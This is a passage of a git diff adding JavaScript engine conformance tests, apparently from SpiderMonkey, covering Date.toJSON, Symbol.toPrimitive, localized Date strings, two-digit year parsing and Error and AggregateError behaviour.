+ "ToObject throws TypeError for null/undefined");
+}
+
+try
+{
+ dateToJSON.call(undefined);
+ throw new Error("should have thrown a TypeError");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToObject throws TypeError for null/undefined");
+}
+
+
+/*
+ * 2. Let tv be ToPrimitive(O, hint Number).
+ * ...expands to:
+ * 1. Let valueOf be the result of calling the [[Get]] internal method of object O with argument "valueOf".
+ * 2. If IsCallable(valueOf) is true then,
+ * a. Let val be the result of calling the [[Call]] internal method of valueOf, with O as the this value and
+ * an empty argument list.
+ * b. If val is a primitive value, return val.
+ * 3. Let toString be the result of calling the [[Get]] internal method of object O with argument "toString".
+ * 4. If IsCallable(toString) is true then,
+ * a. Let str be the result of calling the [[Call]] internal method of toString, with O as the this value and
+ * an empty argument list.
+ * b. If str is a primitive value, return str.
+ * 5. Throw a TypeError exception.
+ */
+try
+{
+ var r = dateToJSON.call({ get valueOf() { throw 17; } });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e, 17, "bad exception: " + e);
+}
+
+called = false;
+assertEq(dateToJSON.call({ valueOf: null,
+ toString: function() { called = true; return 12; },
+ toISOString: function() { return "ohai"; } }),
+ "ohai");
+assertEq(called, true);
+
+called = false;
+assertEq(dateToJSON.call({ valueOf: function() { called = true; return 42; },
+ toISOString: function() { return null; } }),
+ null);
+assertEq(called, true);
+
+try
+{
+ called = false;
+ dateToJSON.call({ valueOf: function() { called = true; return {}; },
+ get toString() { throw 42; } });
+}
+catch (e)
+{
+ assertEq(called, true);
+ assertEq(e, 42, "bad exception: " + e);
+}
+
+called = false;
+assertEq(dateToJSON.call({ valueOf: function() { called = true; return {}; },
+ get toString() { return function() { return 8675309; }; },
+ toISOString: function() { return true; } }),
+ true);
+assertEq(called, true);
+
+var asserted = false;
+called = false;
+assertEq(dateToJSON.call({ valueOf: function() { called = true; return {}; },
+ get toString()
+ {
+ assertEq(called, true);
+ asserted = true;
+ return function() { return 8675309; };
+ },
+ toISOString: function() { return NaN; } }),
+ NaN);
+assertEq(asserted, true);
+
+try
+{
+ var r = dateToJSON.call({ valueOf: null, toString: null,
+ get toISOString()
+ {
+ throw new Error("shouldn't have been gotten");
+ } });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+
+/* 3. If tv is a Number and is not finite, return null. */
+assertEq(dateToJSON.call({ valueOf: function() { return Infinity; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return -Infinity; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return NaN; } }), null);
+
+assertEq(dateToJSON.call({ valueOf: function() { return Infinity; },
+ toISOString: function() { return {}; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return -Infinity; },
+ toISOString: function() { return []; } }), null);
+assertEq(dateToJSON.call({ valueOf: function() { return NaN; },
+ toISOString: function() { return undefined; } }), null);
+
+
+/*
+ * 4. Let toISO be the result of calling the [[Get]] internal method of O with
+ * argument "toISOString".
+ */
+try
+{
+ var r = dateToJSON.call({ get toISOString() { throw 42; } });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e, 42, "bad exception: " + e);
+}
+
+
+/* 5. If IsCallable(toISO) is false, throw a TypeError exception. */
+try
+{
+ var r = dateToJSON.call({ toISOString: null });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+try
+{
+ var r = dateToJSON.call({ toISOString: undefined });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+try
+{
+ var r = dateToJSON.call({ toISOString: "oogabooga" });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+try
+{
+ var r = dateToJSON.call({ toISOString: Math.PI });
+ throw new Error("didn't throw, returned: " + r);
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true, "bad exception: " + e);
+}
+
+
+/*
+ * 6. Return the result of calling the [[Call]] internal method of toISO with O
+ * as the this value and an empty argument list.
+ */
+var o =
+ {
+ toISOString: function(a)
+ {
+ called = true;
+ assertEq(this, o);
+ assertEq(a, undefined);
+ assertEq(arguments.length, 0);
+ return obj;
+ }
+ };
+var obj = {};
+called = false;
+assertEq(dateToJSON.call(o), obj, "should have gotten obj back");
+assertEq(called, true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Date/toPrimitive.js b/js/src/tests/non262/Date/toPrimitive.js
new file mode 100644
index 0000000000..11346b1ae8
--- /dev/null
+++ b/js/src/tests/non262/Date/toPrimitive.js
@@ -0,0 +1,62 @@
+// ES6 20.3.4.45 Date.prototype[@@toPrimitive](hint)
+
+// The toPrimitive method throws if the this value isn't an object.
+var toPrimitive = Date.prototype[Symbol.toPrimitive];
+assertThrowsInstanceOf(() => toPrimitive.call(undefined, "default"), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(3, "default"), TypeError);
+
+// It doesn't have to be a Date object, though.
+var obj = {
+ toString() { return "str"; },
+ valueOf() { return "val"; }
+};
+assertEq(toPrimitive.call(obj, "number"), "val");
+assertEq(toPrimitive.call(obj, "string"), "str");
+assertEq(toPrimitive.call(obj, "default"), "str");
+
+// It throws if the hint argument is missing or not one of the three allowed values.
+assertThrowsInstanceOf(() => toPrimitive.call(obj), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, undefined), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, "boolean"), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, ["number"]), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, {toString() { throw "FAIL"; }}), TypeError);
+
+// The next few tests cover the OrdinaryToPrimitive algorithm, specified in
+// ES6 7.1.1 ToPrimitive(input [, PreferredType]).
+
+// Date.prototype.toString or .valueOf can be overridden.
+var dateobj = new Date();
+Date.prototype.toString = function () {
+ assertEq(this, dateobj);
+ return 14;
+};
+Date.prototype.valueOf = function () {
+ return "92";
+};
+assertEq(dateobj[Symbol.toPrimitive]("number"), "92");
+assertEq(dateobj[Symbol.toPrimitive]("string"), 14);
+assertEq(dateobj[Symbol.toPrimitive]("default"), 14);
+assertEq(dateobj == 14, true); // equality comparison: passes "default"
+
+// If this.toString is a non-callable value, this.valueOf is called instead.
+Date.prototype.toString = {};
+assertEq(dateobj[Symbol.toPrimitive]("string"), "92");
+assertEq(dateobj[Symbol.toPrimitive]("default"), "92");
+
+// And vice versa.
+Date.prototype.toString = function () { return 15; };
+Date.prototype.valueOf = "ponies";
+assertEq(dateobj[Symbol.toPrimitive]("number"), 15);
+
+// If neither is callable, it throws a TypeError.
+Date.prototype.toString = "ponies";
+assertThrowsInstanceOf(() => dateobj[Symbol.toPrimitive]("default"), TypeError);
+
+// Surface features.
+assertEq(toPrimitive.name, "[Symbol.toPrimitive]");
+var desc = Object.getOwnPropertyDescriptor(Date.prototype, Symbol.toPrimitive);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Date/toString-generic.js b/js/src/tests/non262/Date/toString-generic.js
new file mode 100644
index 0000000000..1e1c1fee93
--- /dev/null
+++ b/js/src/tests/non262/Date/toString-generic.js
@@ -0,0 +1,15 @@
+var BUGNUMBER = 861219;
+var summary = 'Date.prototype.toString is a generic function';
+
+// Revised in ECMA 2018, Date.prototype.toString is no longer generic (bug 1381433).
+
+print(BUGNUMBER + ": " + summary);
+
+for (var thisValue of [{}, [], /foo/, Date.prototype, new Proxy(new Date(), {})])
+ assertThrowsInstanceOf(() => Date.prototype.toString.call(thisValue), TypeError);
+
+for (var prim of [null, undefined, 0, 1.2, true, false, "foo", Symbol.iterator])
+ assertThrowsInstanceOf(() => Date.prototype.toString.call(prim), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/toString-localized-posix.js b/js/src/tests/non262/Date/toString-localized-posix.js
new file mode 100644
index 0000000000..b2314f60a5
--- /dev/null
+++ b/js/src/tests/non262/Date/toString-localized-posix.js
@@ -0,0 +1,71 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")) -- Requires ICU time zone support
+
+// Date.prototype.toString includes a localized time zone name comment.
+
+// Repeats the test from "toString-localized.js", but uses POSIX instead of IANA
+// names for the time zones. This allows to run these tests on Windows, too.
+
+inTimeZone("PST8PDT", () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (Pacific Daylight Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (heure d’été du Pacifique nord-américain)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (Nordamerikanische Westküsten-Sommerzeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (توقيت المحيط الهادي الصيفي)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (北美太平洋夏令时间)");
+ });
+});
+
+for (let tz of ["UTC", "UCT"]) {
+ inTimeZone(tz, () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Coordinated Universal Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (temps universel coordonné)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Koordinierte Weltzeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (التوقيت العالمي المنسق)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (协调世界时)");
+ });
+ });
+}
+
+inTimeZone("GMT", () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Greenwich Mean Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (heure moyenne de Greenwich)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Mittlere Greenwich-Zeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (توقيت غرينتش)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (格林尼治标准时间)");
+ });
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/toString-localized.js b/js/src/tests/non262/Date/toString-localized.js
new file mode 100644
index 0000000000..6baa535e5e
--- /dev/null
+++ b/js/src/tests/non262/Date/toString-localized.js
@@ -0,0 +1,90 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||!this.hasOwnProperty("Intl")) -- Windows doesn't accept IANA names for the TZ env variable; Requires ICU time zone support
+
+// Date.prototype.toString includes a localized time zone name comment.
+
+inTimeZone("Europe/Paris", () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0200 (Central European Summer Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0200 (heure d’été d’Europe centrale)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0200 (Mitteleuropäische Sommerzeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0200 (توقيت وسط أوروبا الصيفي)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0200 (中欧夏令时间)");
+ });
+});
+
+inTimeZone("America/Los_Angeles", () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (Pacific Daylight Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (heure d’été du Pacifique nord-américain)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (Nordamerikanische Westküsten-Sommerzeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (توقيت المحيط الهادي الصيفي)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (北美太平洋夏令时间)");
+ });
+});
+
+for (let tz of ["UTC", "UCT", "Zulu", "Universal", "Etc/UTC", "Etc/UCT", "Etc/Zulu", "Etc/Universal"]) {
+ inTimeZone(tz, () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Coordinated Universal Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (temps universel coordonné)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Koordinierte Weltzeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (التوقيت العالمي المنسق)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (协调世界时)");
+ });
+ });
+}
+
+for (let tz of ["GMT", "Etc/GMT"]) {
+ inTimeZone(tz, () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Greenwich Mean Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (heure moyenne de Greenwich)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Mittlere Greenwich-Zeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (توقيت غرينتش)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (格林尼治标准时间)");
+ });
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/two-digit-years.js b/js/src/tests/non262/Date/two-digit-years.js
new file mode 100644
index 0000000000..80cbc2ecef
--- /dev/null
+++ b/js/src/tests/non262/Date/two-digit-years.js
@@ -0,0 +1,71 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+/*
+ * For the sake of cross compatibility with other implementations we
+ * implement date parsing heuristics which support single and double
+ * digit years. See bug: 1265136
+ */
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (let year of Array(100).keys()) {
+ for (let month of Array(12).keys()) {
+ for (let day of Array(31).keys()) {
+ let fullYear = year >= 50 ? year + 1900 : year + 2000;
+ let fullDate = new Date(`${month + 1}/${day + 1}/${fullYear}`);
+
+ // mm/dd/yy
+ let d1 = new Date(`${month + 1}/${day + 1}/${year}`);
+ assertEq(d1.getTime(), fullDate.getTime())
+
+ // yy/mm/dd
+ let d2 = new Date(`${year}/${month + 1}/${day + 1}`);
+ if (year > 31) {
+ assertEq(d2.getTime(), fullDate.getTime())
+ } else if (year > 12) {
+ assertEq(d2.getTime(), new Date(NaN).getTime())
+ }
+ }
+ }
+}
+
+assertEq(new Date("99/1/99").getTime(), new Date(NaN).getTime());
+assertEq(new Date("13/13/13").getTime(), new Date(NaN).getTime());
+assertEq(new Date("0/10/0").getTime(), new Date(NaN).getTime());
+
+// Written months.
+for (let year of Array(1000).keys()) {
+ let fullDate = new Date(`5/1/${year}`);
+ let d1 = new Date(`may 1 ${year}`);
+ let d2 = new Date(`1 may ${year}`);
+ let d3 = new Date(`1 ${year} may`);
+
+ assertEq(d1.getTime(), fullDate.getTime())
+ assertEq(d2.getTime(), fullDate.getTime())
+ assertEq(d3.getTime(), fullDate.getTime())
+
+ if (year > 31) {
+ let d4 = new Date(`may ${year} 1`);
+ let d5 = new Date(`${year} may 1`);
+ let d6 = new Date(`${year} 1 may`);
+
+ assertEq(d4.getTime(), fullDate.getTime())
+ assertEq(d5.getTime(), fullDate.getTime())
+ assertEq(d6.getTime(), fullDate.getTime())
+ }
+}
+
+assertEq(new Date("may 1999 1999").getTime(), new Date(NaN).getTime());
+assertEq(new Date("may 0 0").getTime(), new Date(NaN).getTime());
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Error/AggregateError.js b/js/src/tests/non262/Error/AggregateError.js
new file mode 100644
index 0000000000..d4b4420d67
--- /dev/null
+++ b/js/src/tests/non262/Error/AggregateError.js
@@ -0,0 +1,80 @@
+assertEq(typeof AggregateError, "function");
+assertEq(Object.getPrototypeOf(AggregateError), Error);
+assertEq(AggregateError.name, "AggregateError");
+assertEq(AggregateError.length, 2);
+
+assertEq(Object.getPrototypeOf(AggregateError.prototype), Error.prototype);
+assertEq(AggregateError.prototype.name, "AggregateError");
+assertEq(AggregateError.prototype.message, "");
+
+// The |errors| argument is mandatory.
+assertThrowsInstanceOf(() => new AggregateError(), TypeError);
+assertThrowsInstanceOf(() => AggregateError(), TypeError);
+
+// The .errors data property is an array object.
+{
+ let err = new AggregateError([]);
+
+ let {errors} = err;
+ assertEq(Array.isArray(errors), true);
+ assertEq(errors.length, 0);
+
+ // The errors object is modifiable.
+ errors.push(123);
+ assertEq(errors.length, 1);
+ assertEq(errors[0], 123);
+ assertEq(err.errors[0], 123);
+
+ // The property is writable.
+ err.errors = undefined;
+ assertEq(err.errors, undefined);
+}
+
+// The errors argument can be any iterable.
+{
+ function* g() { yield* [1, 2, 3]; }
+
+ let {errors} = new AggregateError(g());
+ assertEqArray(errors, [1, 2, 3]);
+}
+
+// The message property is populated by the second argument.
+{
+ let err;
+
+ err = new AggregateError([]);
+ assertEq(err.message, "");
+
+ err = new AggregateError([], "my message");
+ assertEq(err.message, "my message");
+}
+
+{
+ assertEq("errors" in AggregateError.prototype, false);
+
+ const {
+ configurable,
+ enumerable,
+ value,
+ writable
+ } = Object.getOwnPropertyDescriptor(new AggregateError([]), "errors");
+ assertEq(configurable, true);
+ assertEq(enumerable, false);
+ assertEq(writable, true);
+ assertEq(value.length, 0);
+
+ const g = newGlobal();
+
+ let obj = {};
+ let errors = new g.AggregateError([obj]).errors;
+
+ assertEq(errors.length, 1);
+ assertEq(errors[0], obj);
+
+ // The prototype is |g.Array.prototype| in the cross-compartment case.
+ let proto = Object.getPrototypeOf(errors);
+ assertEq(proto === g.Array.prototype, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Error/browser.js b/js/src/tests/non262/Error/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Error/browser.js
diff --git a/js/src/tests/non262/Error/constructor-ordering.js b/js/src/tests/non262/Error/constructor-ordering.js
new file mode 100644
index 0000000000..dbcc2e6048
--- /dev/null
+++ b/js/src/tests/non262/Error/constructor-ordering.js
@@ -0,0 +1,17 @@
+var order = 0;
+function assertOrdering(ordering) {
+ assertEq(order, ordering);
+ order++;
+}
+
+// Spec mandates that the prototype is looked up /before/ we toString the
+// argument.
+var handler = { get() { assertOrdering(0); return Error.prototype } };
+var errorProxy = new Proxy(Error, handler);
+
+var toStringable = { toString() { assertOrdering(1); return "Argument"; } };
+
+new errorProxy(toStringable);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/Error/constructor-proto.js b/js/src/tests/non262/Error/constructor-proto.js
new file mode 100644
index 0000000000..4ddc6025e8
--- /dev/null
+++ b/js/src/tests/non262/Error/constructor-proto.js
@@ -0,0 +1,17 @@
+const nativeErrors = [
+ InternalError,
+ EvalError,
+ RangeError,
+ ReferenceError,
+ SyntaxError,
+ TypeError,
+ URIError
+];
+
+assertEq(Reflect.getPrototypeOf(Error), Function.prototype)
+
+for (const error of nativeErrors)
+ assertEq(Reflect.getPrototypeOf(error), Error);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Error/prototype-properties.js b/js/src/tests/non262/Error/prototype-properties.js
new file mode 100644
index 0000000000..16264bc56d
--- /dev/null
+++ b/js/src/tests/non262/Error/prototype-properties.js
@@ -0,0 +1,26 @@
+const nativeErrors = [
+ InternalError,
+ EvalError,
+ RangeError,
+ ReferenceError,
+ SyntaxError,
+ TypeError,
+ URIError
+];
+
+const expectedOwnKeys = "toSource" in Object.prototype
+ ? "toSource,toString,message,name,stack,constructor"
+ : "toString,message,name,stack,constructor";
+assertEq(Reflect.ownKeys(Error.prototype).toString(), expectedOwnKeys);
+assertEq(Error.prototype.name, "Error");
+assertEq(Error.prototype.message, "");
+
+for (const error of nativeErrors) {
+ assertEq(Reflect.ownKeys(error.prototype).toString(), "message,name,constructor");
+ assertEq(error.prototype.name, error.name);
+ assertEq(error.prototype.message, "");
+ assertEq(error.prototype.constructor, error);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Error/prototype.js b/js/src/tests/non262/Error/prototype.js
new file mode 100644
index 0000000000..b22a8e084b
--- /dev/null
+++ b/js/src/tests/non262/Error/prototype.js
@@ -0,0 +1,18 @@
+const nativeErrors = [
+ InternalError,
+ EvalError,
+ RangeError,
+ ReferenceError,
+ SyntaxError,
+ TypeError,
+ URIError
+];
+
+assertEq(Reflect.getPrototypeOf(Error.prototype), Object.prototype)
+
+for (const error of nativeErrors) {
+ assertEq(Reflect.getPrototypeOf(error.prototype), Error.prototype);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Error/regress-354246.js b/js/src/tests/non262/Error/regress-354246.js
new file mode 100644
index 0000000000..644bcba106
--- /dev/null
+++ b/js/src/tests/non262/Error/regress-354246.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354246;
+var summary = 'calling Error constructor with object with bad toString';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '13';
+
+ actual += '1';
+ try
+ {
+ new Error({toString: function() { x.y } });
+ }
+ catch(e)
+ {
+ }
+ actual += '3';
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Error/regress-412324.js b/js/src/tests/non262/Error/regress-412324.js
new file mode 100644
index 0000000000..d9debaa896
--- /dev/null
+++ b/js/src/tests/non262/Error/regress-412324.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 412324;
+var summary = 'Allow function Error(){} for the love of Pete';
+var actual = 'No Error';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function Error() {}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Error/regress-465377.js b/js/src/tests/non262/Error/regress-465377.js
new file mode 100644
index 0000000000..ea7be79f98
--- /dev/null
+++ b/js/src/tests/non262/Error/regress-465377.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465377;
+var summary = 'instanceof relations between Error objects';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Exception';
+
+ try
+ {
+ var list = [
+ "Error",
+ "InternalError",
+ "EvalError",
+ "RangeError",
+ "ReferenceError",
+ "SyntaxError",
+ "TypeError",
+ "URIError"
+ ];
+ var instances = [];
+
+ for (var i = 0; i != list.length; ++i) {
+ var name = list[i];
+ var constructor = this[name];
+ var tmp = constructor.name;
+ if (tmp !== name)
+ throw "Bad value for "+name+".name: "+String(tmp);
+ instances[i] = new constructor();
+ }
+
+ for (var i = 0; i != instances.length; ++i) {
+ var instance = instances[i];
+ var name = instance.name;
+ var constructor = instance.constructor;
+ var tmp = constructor.name;
+ if (constructor !== this[name])
+ throw "Bad value of (new "+name+").constructor: "+String(tmp);
+ if (tmp !== name)
+ throw "Bad value for constructor.name: "+String(tmp);
+ if (!(instance instanceof Object))
+ throw "Bad instanceof Object for "+name;
+ if (!(instance instanceof Error))
+ throw "Bad instanceof Error for "+name;
+ if (!(instance instanceof constructor))
+ throw "Bad instanceof constructor for "+name;
+ if (instance instanceof Function)
+ throw "Bad instanceof Function for "+name;
+ for (var j = 1; j != instances.length; ++j) {
+ if (i != j && instance instanceof instances[j].constructor) {
+ throw "Unexpected (new "+name+") instanceof "+ instances[j].name;
+ }
+ }
+ }
+
+ print("OK");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Error/shell.js b/js/src/tests/non262/Error/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Error/shell.js
diff --git a/js/src/tests/non262/Exceptions/browser.js b/js/src/tests/non262/Exceptions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/browser.js
diff --git a/js/src/tests/non262/Exceptions/catchguard-002-n.js b/js/src/tests/non262/Exceptions/catchguard-002-n.js
new file mode 100644
index 0000000000..fa574389db
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/catchguard-002-n.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+DESCRIPTION = "var in catch clause should have caused an error.";
+
+var expect;
+var actual;
+
+test();
+
+function test()
+{
+ var EXCEPTION_DATA = "String exception";
+ var e;
+
+ printStatus ("Catchguard var declaration negative test.");
+
+ try
+ {
+ throw EXCEPTION_DATA;
+ }
+ catch (var e)
+ {
+ actual = e + '';
+ }
+
+ reportCompare(expect, actual, DESCRIPTION);
+}
diff --git a/js/src/tests/non262/Exceptions/catchguard-003-n.js b/js/src/tests/non262/Exceptions/catchguard-003-n.js
new file mode 100644
index 0000000000..a45b56adca
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/catchguard-003-n.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+DESCRIPTION = "Illegally constructed catchguard should have thrown an exception.";
+
+var expect;
+var actual;
+
+test();
+
+function test()
+{
+ var EXCEPTION_DATA = "String exception";
+ var e;
+
+ printStatus ("Catchguard syntax negative test #2.");
+
+ try
+ {
+ throw EXCEPTION_DATA;
+ }
+ catch (e)
+ {
+ actual = e + ': 1';
+ }
+ catch (e) /* two non-guarded catch statements should generate an error */
+ {
+ actual = e + ': 2';
+ }
+
+ reportCompare(expect, actual, DESCRIPTION);
+}
diff --git a/js/src/tests/non262/Exceptions/error-expando-reconfigure.js b/js/src/tests/non262/Exceptions/error-expando-reconfigure.js
new file mode 100644
index 0000000000..c70ff5f853
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/error-expando-reconfigure.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "error-expando-reconfigure.js"
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 961494;
+var summary =
+ "Reconfiguring the first expando property added to an Error object " +
+ "shouldn't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
